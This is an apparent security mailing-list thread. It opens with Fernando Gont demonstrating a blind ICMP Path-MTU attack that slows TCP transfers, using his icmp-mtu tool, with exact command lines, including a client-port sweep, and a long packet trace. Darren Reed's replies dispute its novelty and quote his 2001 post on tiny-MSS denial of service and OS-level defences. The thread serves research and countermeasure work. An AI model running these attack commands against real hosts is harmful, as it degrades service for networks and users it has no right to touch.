Onderwerp: ICMP-based blind performance-degrading attack

Folks,

Another trivial ICMP-based attack. We'll use the tool icmp-mtu, available
at http://www.gont.com.ar/tools/icmp-attacks

We'll perform the blind performance-degrading attack described in
http://www.gont.com.ar/drafts/icmp-a...ainst-tcp.html as the "Attack
against the Path-MTU Discovery mechanism".

The attack will fool a TCP end-point into thinking it is sending packets
that are larger than the current PMTU. Therefore, that TCP endpoint will
reduce the size of the packets it sends. This has a two-fold effect:
a) The "performance" of the transfer will be lower, as there will be much
more overhead (i.e. the data/headers ratio will be lower).
b) The CPU utilization of the involved systems will increase: The same data
transfer rate will require much more packets (as TCP would be sending
smaller packets). In most systems, every time a packet arrives, it causes
an IRQ (Interrupt ReQuest) to be issued. Thus, increasing the packet rate
will increase the CPU utilization. If the packet rate is not increased,
guess what throughput you can get with 68-byte packets.
:-)

Scenario:
Web-browser (at 10.0.0.1, TCP port 1024) is downloading a big file from a
web-server (at 192.168.0.1, TCP port 80)

For simplicity-sake, let's assume we know the four-tuple that identifies
the connection. (If we don't, that's no problem: we can make icmp-mtu try
all the possible combinations).

Let's perform the attack:

# icmp-mtu -c 10.0.0.1:3028 -s 192.168.0.1:80 -t server -r 56 -m 296

(The client is at 10.0.0.1, TCP port 3028. The server is at 192.168.0.1,
TCP port 80. Let's attack the server. Limit the throughput used for the
attack to 56 kbps. Set the Path-MTU to 296 bytes)
(The lowest value allowed by the specifications is 68. However, some
implementations (such as the one I used for this test) will not honor ICMP
messages that claim MTUs smaller than 296)

Here's the packet trace:

07:33:33.450711 192.168.0.1.80 > 10.0.0.1.3028: . 55381:56801(1420) ack 0
win 17040 (DF) (ttl 64, id 46716)
07:33:33.766220 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 48281
win 9940 (DF) (ttl 117, id 55756)
07:33:33.766241 192.168.0.1.80 > 10.0.0.1.3028: . 56801:58221(1420) ack 0
win 17040 (DF) (ttl 64, id 64806)
07:33:33.770295 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 49701
win 9940 (DF) (ttl 117, id 55758)
07:33:33.770318 192.168.0.1.80 > 10.0.0.1.3028: . 58221:59641(1420) ack 0
win 17040 (DF) (ttl 64, id 37411)
07:33:34.203906 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 51121
win 9940 (DF) (ttl 117, id 55760)
07:33:34.203962 192.168.0.1.80 > 10.0.0.1.3028: . 59641:61061(1420) ack 0
win 17040 (DF) (ttl 64, id 49486)
07:33:34.378908 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 52541
win 9940 (DF) (ttl 117, id 55761)
07:33:34.378933 192.168.0.1.80 > 10.0.0.1.3028: . 61061:62481(1420) ack 0
win 17040 (DF) (ttl 64, id 54369)
07:33:34.429296 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 53961
win 9940 (DF) (ttl 117, id 55762)
07:33:34.429318 192.168.0.1.80 > 10.0.0.1.3028: . 62481:63901(1420) ack 0
win 17040 (DF) (ttl 64, id 38867)
07:33:34.769519 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 55381
win 9940 (DF) (ttl 117, id 55764)
07:33:34.769565 192.168.0.1.80 > 10.0.0.1.3028: . 63901:65321(1420) ack 0
win 17040 (DF) (ttl 64, id 45655)
07:33:35.110200 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 56801
win 9940 (DF) (ttl 117, id 55765)
07:33:35.110259 192.168.0.1.80 > 10.0.0.1.3028: . 65321:66741(1420) ack 0
win 17040 (DF) (ttl 64, id 47463)
07:33:35.113291 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 58221
win 9940 (DF) (ttl 117, id 55766)
07:33:35.113314 192.168.0.1.80 > 10.0.0.1.3028: . 66741:68161(1420) ack 0
win 17040 (DF) (ttl 64, id 52075)
07:33:35.510370 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 59641
win 9940 (DF) (ttl 117, id 55769)
07:33:35.510393 192.168.0.1.80 > 10.0.0.1.3028: . 68161:69581(1420) ack 0
win 17040 (DF) (ttl 64, id 50555)
07:33:35.687634 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 61061
win 9940 (DF) (ttl 117, id 55770)
07:33:35.687656 192.168.0.1.80 > 10.0.0.1.3028: . 69581:71001(1420) ack 0
win 17040 (DF) (ttl 64, id 61555)
07:33:36.009372 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 62481
win 9940 (DF) (ttl 117, id 55771)
07:33:36.009398 192.168.0.1.80 > 10.0.0.1.3028: . 71001:72421(1420) ack 0
win 17040 (DF) (ttl 64, id 34296)
07:33:36.180815 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 63901
win 9940 (DF) (ttl 117, id 55773)
07:33:36.180873 192.168.0.1.80 > 10.0.0.1.3028: . 72421:73841(1420) ack 0
win 17040 (DF) (ttl 64, id 53575)
07:33:36.506718 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 65321
win 9940 (DF) (ttl 117, id 55774)
07:33:36.506743 192.168.0.1.80 > 10.0.0.1.3028: . 73841:75261(1420) ack 0
win 17040 (DF) (ttl 64, id 34721)
07:33:36.510804 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 66741
win 9940 (DF) (ttl 117, id 55775)
07:33:36.510827 192.168.0.1.80 > 10.0.0.1.3028: . 75261:76681(1420) ack 0
win 17040 (DF) (ttl 64, id 34894)
07:33:37.004635 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 68161
win 9940 (DF) (ttl 117, id 55777)
07:33:37.004695 192.168.0.1.80 > 10.0.0.1.3028: . 76681:78101(1420) ack 0
win 17040 (DF) (ttl 64, id 44036)
07:33:37.008756 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 69581
win 9940 (DF) (ttl 117, id 55778)
07:33:37.008779 192.168.0.1.80 > 10.0.0.1.3028: . 78101:79521(1420) ack 0
win 17040 (DF) (ttl 64, id 47291)
07:33:37.213783 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 71001
win 9940 (DF) (ttl 117, id 55779)
07:33:37.213844 192.168.0.1.80 > 10.0.0.1.3028: . 79521:80941(1420) ack 0
win 17040 (DF) (ttl 64, id 37137)

Up to this point, "everything was okay".


07:33:37.222434 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need
to frag (mtu 296) (ttl 232, id 5693)

Here's the point in which our tool is run.

From here, till the end of the transfer, you see the effect of the attack:
each TCP segment carries 256 bytes of data, making for (20-byte IP header +
20-byte TCP header + 256-byte data payload = 296-byte packet).



07:33:37.222472 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0
win 17040 (DF) (ttl 64, id 58749)
07:33:37.222578 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0
win 17040 (DF) (ttl 64, id 51033)
07:33:37.222845 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0
win 17040 (DF) (ttl 64, id 32798)
07:33:37.223118 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0
win 17040 (DF) (ttl 64, id 41766)
07:33:37.778893 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need
to frag (mtu 296) (ttl 221, id 2124)
07:33:37.778917 192.168.0.1.80 > 10.0.0.1.3028: . 71001:71257(256) ack 0
win 17040 (DF) (ttl 64, id 36548)
07:33:37.779022 192.168.0.1.80 > 10.0.0.1.3028: . 71257:71513(256) ack 0
win 17040 (DF) (ttl 64, id 61732)
07:33:37.779290 192.168.0.1.80 > 10.0.0.1.3028: . 71513:71769(256) ack 0
win 17040 (DF) (ttl 64, id 51438)
07:33:37.779563 192.168.0.1.80 > 10.0.0.1.3028: . 71769:72025(256) ack 0
win 17040 (DF) (ttl 64, id 40154)
07:33:37.804701 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 72421
win 9940 (DF) (ttl 117, id 55782)
07:33:37.804726 192.168.0.1.80 > 10.0.0.1.3028: . 72421:72677(256) ack 0
win 17040 (DF) (ttl 64, id 59091)
07:33:37.804829 192.168.0.1.80 > 10.0.0.1.3028: . 72677:72933(256) ack 0
win 17040 (DF) (ttl 64, id 53746)
07:33:37.805098 192.168.0.1.80 > 10.0.0.1.3028: . 72933:73189(256) ack 0
win 17040 (DF) (ttl 64, id 48719)
07:33:37.805371 192.168.0.1.80 > 10.0.0.1.3028: . 73189:73445(256) ack 0
win 17040 (DF) (ttl 64, id 37796)
07:33:38.000265 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 73841
win 9940 (DF) (ttl 117, id 55783)
07:33:38.000287 192.168.0.1.80 > 10.0.0.1.3028: . 73841:74097(256) ack 0
win 17040 (DF) (ttl 64, id 65040)
07:33:38.000391 192.168.0.1.80 > 10.0.0.1.3028: . 74097:74353(256) ack 0
win 17040 (DF) (ttl 64, id 50520)
07:33:38.000660 192.168.0.1.80 > 10.0.0.1.3028: . 74353:74609(256) ack 0
win 17040 (DF) (ttl 64, id 37744)
07:33:38.000933 192.168.0.1.80 > 10.0.0.1.3028: . 74609:74865(256) ack 0
win 17040 (DF) (ttl 64, id 49194)
07:33:38.001205 192.168.0.1.80 > 10.0.0.1.3028: . 74865:75121(256) ack 0
win 17040 (DF) (ttl 64, id 35292)
07:33:38.001478 192.168.0.1.80 > 10.0.0.1.3028: . 75121:75377(256) ack 0
win 17040 (DF) (ttl 64, id 35405)
07:33:38.001751 192.168.0.1.80 > 10.0.0.1.3028: . 75377:75633(256) ack 0
win 17040 (DF) (ttl 64, id 50111)
07:33:38.002024 192.168.0.1.80 > 10.0.0.1.3028: . 75633:75889(256) ack 0
win 17040 (DF) (ttl 64, id 63637)
07:33:38.002297 192.168.0.1.80 > 10.0.0.1.3028: . 75889:76145(256) ack 0
win 17040 (DF) (ttl 64, id 37723)
07:33:38.099395 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 75261
win 9940 (DF) (ttl 117, id 55784)
07:33:38.099413 192.168.0.1.80 > 10.0.0.1.3028: . 76145:76401(256) ack 0
win 17040 (DF) (ttl 64, id 44236)
07:33:38.099518 192.168.0.1.80 > 10.0.0.1.3028: . 76401:76657(256) ack 0
win 17040 (DF) (ttl 64, id 58026)
07:33:38.099786 192.168.0.1.80 > 10.0.0.1.3028: . 76657:76913(256) ack 0
win 17040 (DF) (ttl 64, id 55844)
07:33:38.100058 192.168.0.1.80 > 10.0.0.1.3028: . 76913:77169(256) ack 0
win 17040 (DF) (ttl 64, id 53944)
07:33:38.295212 10.0.0.1.3028 > 192.168.0.1.80: . [tcp sum ok] ack 76681
win 9940 (DF) (ttl 117, id 55786)
07:33:38.295271 192.168.0.1.80 > 10.0.0.1.3028: . 77169:77425(256) ack 0
win 17040 (DF) (ttl 64, id 50067)
07:33:38.295377 192.168.0.1.80 > 10.0.0.1.3028: . 77425:77681(256) ack 0
win 17040 (DF) (ttl 64, id 50320)
07:33:38.295645 192.168.0.1.80 > 10.0.0.1.3028: . 77681:77937(256) ack 0
win 17040 (DF) (ttl 64, id 46302)
07:33:38.295918 192.168.0.1.80 > 10.0.0.1.3028: . 77937:78193(256) ack 0
win 17040 (DF) (ttl 64, id 35011)
07:33:38.296190 192.168.0.1.80 > 10.0.0.1.3028: . 78193:78449(256) ack 0
win 17040 (DF) (ttl 64, id 33938)
07:33:38.296463 192.168.0.1.80 > 10.0.0.1.3028: . 78449:78705(256) ack 0
win 17040 (DF) (ttl 64, id 34572)
07:33:38.296736 192.168.0.1.80 > 10.0.0.1.3028: . 78705:78961(256) ack 0
win 17040 (DF) (ttl 64, id 50867)
07:33:38.297009 192.168.0.1.80 > 10.0.0.1.3028: . 78961:79217(256) ack 0
win 17040 (DF) (ttl 64, id 49460)
07:33:38.297282 192.168.0.1.80 > 10.0.0.1.3028: . 79217:79473(256) ack 0
win 17040 (DF) (ttl 64, id 54046)
07:33:38.297554 192.168.0.1.80 > 10.0.0.1.3028: . [tcp sum ok]
79473:79497(24) ack 0 win 17040 (DF) (ttl 64, id 57102)


If you keep an eye on the data throughput, you'll see it has decreased
considerably. If the server had a high-bandwidth communications link, you'd
notice the increase in the CPU utilization, too.


Let's now say we don't know the client port number. But we know the server
is running Windows, which chooses the "outgoing" port numbers from the
range 1024-4999.

# icmp-mtu -c 10.0.0.1:1024-4999 -s 192.168.0.1:80 -t server -r 56 -D 300
-m 296


So we know specify with the "-c" option a port range for the client
(1024-4999). The "-s" option is the same as before. The "-r" option is the
same as before, too. We have added the "-D" option. It means: "after trying
all the possible combinations, sleep for 300 seconds before doing another
round". The "-m 296" tell icmp-mtu to set the Path-MTU to 296 bytes (if you
don't specify this option, the MTU will be set to the smallest possible
value: 68)

Recall that the IETF specifications recommend to wait for ten minutes
before trying to increase the Path-MTU. So after making the server reduce
the size of its packets, we will sleep for 300 seconds (5 minutes), before
attacking again. Another option could have been to not sleep after each
round, but use some ridiculous (low) bandwidth for the attack.

Hint: Some people have reported "strange behaviour" when some
implementations receive ICMP packets that claim MTUs smaller that 68 (maybe
MTUs = 0). But this is an implementation bug, and I'm more concerned with
IETF-compliant implementations.

P.S.: Attacks explained in the internet-draft available at
http://www.gont.com.ar/drafts/icmp-a...ainst-tcp.html

Kindest regards,

--
Fernando Gont
e-mail: fernando@gont.com.ar || fgont@acm.org

In some mail from Fernando Gont, sie said:
>
> The new stuff is the counter-measures, not the attacks.

Call me a cynic, but if you were focused on the counter-measure
side of things, you'd be providing patches, not exploits.

> >What's most surprising is that there does not appear to be a documented
> >minimum, just as there is no "minimum MTU" size for IP. If there is,
> >please correct me.
>
> Yes, there is: 68 bytes for IPv4, 1280 for IPv6.

The wording for this in RFC 791 is not nearly as concrete as that for
IPv6 in 2460. Put it down to interpretation of English if you want
to disagree with me.

> >So, what are defences ? Quite clearly the host operating system
> >needs to set a much more sane minimum MSS than 1. Given there is
> >no minimum MTU for IP - well, maybe "68" - it's hard to derive
> >what it should be. Anything below 40 should just be banned (that's
> >the point at which you're transmitting 50% data, 50% headers).
> >Most of the defaults, above, are chosen because it fits in well
> >with their internal network buffering (some use a default MSS of
> >512 rather than 536 for similar reasons). But above that, what
> >do you choose? 80 for a 25/75 or something higher still? Whatever
> >the choice and however it is calculated, it is not enough to just
> >enforce it when the MSS option is received. It also needs to be
> >enforced when the MTU parameter is checked in ICMP "need frag"
> >packets.
>
> So I must assume this e-mail discusses a blind ICMP-based attacks?

The email discusses the problems of small TCP packets due to the
segment size being set low. Did I consider ICMP attacks at the time?
Yes. Maybe I should have written an ICMP draft or made a white
paper about it, then.

Maybe if you had of focused on the fixes rather than trying to sell
a scary story I'd care differently. As I said in another email, I've
been around long enough to have seen the rise and fall of one type
of ICMP attack (along with the associated doom & gloom) after another
so predictions of "the internet will collapse" fail to have any
weight in my eyes.

What do i expect will happen if someone running BGP sessions on a
vulnerable host will do if it does become a problem? Block or
otherwise ignore that type of ICMP packet. Will they care about
PMTU discovery? Probably not, it's not like important BGP
sessions are going to be run over "funny MTU" links where these
messages are needed or are ever likely to be generated.

Don't get me wrong, I think the counter measures are good and
interesting, but there's absolutely nothing new about the blind
ICMP attack side of things (in case you hadn't got that message
already.)

Darren

At 07:42 p.m. 20/07/2005, Darren Reed wrote:

>Go look in the bugtraq archives for 8 July 2001 and you might find an
>email like the one below. THere was a thread on this topic then.
>
>It would be nice if you included a referral or something in your IETF
>draft to my original work on this, 4 years ago. Unless you want to
>try and proclaim that discussion on bugtraq isn't public knowledge
>and your discoveries are somehow "new".

Did you read the "Introduction" of the draft?
Where are the claims you mention?

The new stuff is the counter-measures, not the attacks.



>This is just one pointer to a start of the thread then...
>http://cert.uni-stuttgart.de/archive.../msg00124.html

This attack was even mentioned in RFC 1191.

So nobody could "discover" it, because the authors of RFC 1191 themselves
stated that this attack could be performed.

Now, provide a pointer to a discussion of the counter-measures proposed in
my internet-draft.


[Quoting your "old e-mail"]

>What's most surprising is that there does not appear to be a documented
>minimum, just as there is no "minimum MTU" size for IP. If there is,
>please correct me.

Yes, there is: 68 bytes for IPv4, 1280 for IPv6.



>About the only bonus to this is that there does not appear to be an
>easy way to affect the MSS sent in the initial SYN packet.
>
>Oh, so how's this a potential denial of service attack? Generally,
>network efficiency comes through sending lots of large packets...but
>don't tell ATM folks that, of course :-) Does it work? *shrug* It
>is not easy to test...the only testing I could do (with NetBSD) was
>to use the TCP_MAXSEG setsockopt BUT this only affects the sending
>MSS (now what use is that ? :-), but in testing, changing it from
>the default 1460 to 1 caused number of packets to go from 9 to 2260
>to write 1436 bytes of data to discard. To send 100 * 1436 from
>the NetBSD box to Solaris8 took 60 seconds (MSS of 1) vs ~1 with
>an MSS of 1460.

This doesn't sound like an ICMP-based attack, BTW.



>So, what are defences ? Quite clearly the host operating system
>needs to set a much more sane minimum MSS than 1. Given there is
>no minimum MTU for IP - well, maybe "68" - it's hard to derive
>what it should be. Anything below 40 should just be banned (that's
>the point at which you're transmitting 50% data, 50% headers).
>Most of the defaults, above, are chosen because it fits in well
>with their internal network buffering (some use a default MSS of
>512 rather than 536 for similar reasons). But above that, what
>do you choose? 80 for a 25/75 or something higher still? Whatever
>the choice and however it is calculated, it is not enough to just
>enforce it when the MSS option is received. It also needs to be
>enforced when the MTU parameter is checked in ICMP "need frag"
>packets.

So I must assume this e-mail discusses a blind ICMP-based attacks?

--
Fernando Gont
e-mail: fernando@gont.com.ar || fgont@acm.org

Ok, so you really think this is new...

Go look in the bugtraq archives for 8 July 2001 and you might find an
email like the one below. THere was a thread on this topic then.

It would be nice if you included a referral or something in your IETF
draft to my original work on this, 4 years ago. Unless you want to
try and proclaim that discussion on bugtraq isn't public knowledge
and your discoveries are somehow "new".

This is just one pointer to a start of the thread then...
http://cert.uni-stuttgart.de/archive.../msg00124.html

And the original email is included below, just in case.

Good luck with your further research on IP "security issues".

Cheers,
Darren

Subject: Small TCP packets == very large overhead == DoS?
To: bugtraq@securityfocus.com
Date: Sun, 8 Jul 2001 01:47:21 +1000 (Australia/ACT)
X-Mailer: ELM [version 2.5 PL1]
Content-Length: 6209
Status: OR


On a lan far far away, a rouge packet was heading towards a
server, ready to start up a new storm ...

[I was going to start this by saying "years ago" but well...
that might be showing my age ]

Anyway, down to business.

If any of you have tested what happens to the ability of a box to
perform well when it has a small MTU you will know that setting the
MTY to (say) 56 on a diskless thing is a VERY VERY bad idea when NFS
read/write packets are generally 8k in size. Do not try it on a NFS
thing unless you plan to reboot it, ok ? Last time I did this was
when I worked out you could fragment packets inside the TCP header
and that lesson was enough for me ;_)

Following on from this, it occurs to me that the problem with the
above can possibly be reproduced with TCP. How ? That thing called
"maximum segment size". The problem? Well, the first is that there
does not appear to be a minimum. The second is that it is negoiated
by the caller, not callee. Did I hear someone say "oh dear" ?

What's this mean? Well, if I connect to www.microsoft.com and set
my MSS to 143 (say), they need to send me 11 packets for every one
they would normally send me (with an MSS of 1436). Total output
for them is 1876 bytes - a 30% increase. However, that's not the
real problem. My experience is that hosts, especially PC's, have
a lot of trouble handling *LOTS* of interrupts. To send 2k out
via the network, it's no longer 2 packets but 20+ - a significant
increase in the workload.

A quick table (based on 20byte IP & TCP header)::
datalen mss packets total bytes bytes %increase
1436 1436 1 1476 0
1436 1024 2 1516 3%
1436 768 2 1516 3%
1436 512 3 1556 5%
1436 256 6 1676 13%
1436 128 12 1916 30%
1436 64 23 2356 69%
1436 32 45 3236 119%
1426 28 52 3516 238% (MTU = 68)
1436 16 90 5036 241%
1436 8 180 8636 485%
1436 1 1436 58876 3989%

For Solaris, you can enforce a more sane minimum MSS than the
install default (1) with ndd:
ndd -set /dev/tcp tcp_mss_min 128

HP-UX 11.* is in the same basket as Solaris.

*BSD have varying minimums well above 1 - NetBSD at 32, FreeBSD at 64.
(OpenBSD's comment on this says 32 but the code says 64 - mmm, qwality!)

Linux 2.4 is 88

I can't see anything in the registry or MSDN which says what it
is for Windows. By experimentation, Win2000 appears to be 88,
NT 4 appears to be 1

Do I need to mention any other OS ? :*)

Nothing else besides Solaris seems to have anything close to a
reasonable manner in which to tune the minimum value.

What's most surprising is that there does not appear to be a documented
minimum, just as there is no "minimum MTU" size for IP. If there is,
please correct me.

About the only bonus to this is that there does not appear to be an
easy way to affect the MSS sent in the initial SYN packet.

Oh, so how's this a potential denial of service attack? Generally,
network efficiency comes through sending lots of large packets...but
don't tell ATM folks that, of course :-) Does it work? *shrug* It
is not easy to test...the only testing I could do (with NetBSD) was
to use the TCP_MAXSEG setsockopt BUT this only affects the sending
MSS (now what use is that ? :-), but in testing, changing it from
the default 1460 to 1 caused number of packets to go from 9 to 2260
to write 1436 bytes of data to discard. To send 100 * 1436 from
the NetBSD box to Solaris8 took 60 seconds (MSS of 1) vs ~1 with
an MSS of 1460. Of even more significance, one connection like
this made almost no difference after the first run but running a
second saw kernel CPU jump to 30% on an SS20/712 (I suspect there
are some serious TCP tuning happening dynamically). The sending
host was likewise afflicted with a signifcant CPU usage penalty if
more than one was running. There were some very surprising things
happening too - with just one session active, ~170-200pps were
seen with netstat on Solaris, but with the second, it was between
1750 and 1850pps. Can you say "ACK storm" ? Oh, and for fun you
can enable TCP timestamping just to make those headers bigger and
run the system a bit harder whilst processing packets!

Oh, I haven't investigated the impact of ICMP PMTU discovery, but
from my reading of at least the BSD source code, the MTU for the
route will be ignored if it is less than the default MSS when
sending out the TCP SYN with the MSS option. That aside, it will
still impact current connections and would appear to be a way to
force the _current_ MSS below that set at connect time. On BSD,
it will not accept PMTU updates if the MTU is less than 296, on
Solaris8 and Linux 2.4 it just needs to be above 68 (hmmm, allows
you to get an effective MSS of less than 88 . mmm, source code.

So, what are defences ? Quite clearly the host operating system
needs to set a much more sane minimum MSS than 1. Given there is
no minimum MTU for IP - well, maybe "68" - it's hard to derive
what it should be. Anything below 40 should just be banned (that's
the point at which you're transmitting 50% data, 50% headers).
Most of the defaults, above, are chosen because it fits in well
with their internal network buffering (some use a default MSS of
512 rather than 536 for similar reasons). But above that, what
do you choose? 80 for a 25/75 or something higher still? Whatever
the choice and however it is calculated, it is not enough to just
enforce it when the MSS option is received. It also needs to be
enforced when the MTU parameter is checked in ICMP "need frag"
packets.

Darren

p.s. I guess if I was one of those corporate types who get paid to
do security stuff I'd write this up as a white paper but like this
is the 'net man!

p.p.s. So far as I know, nobody has covered this topic, from this
angle, before or if they have, I'm ultralame for not being out on
a saturday night when I could have been.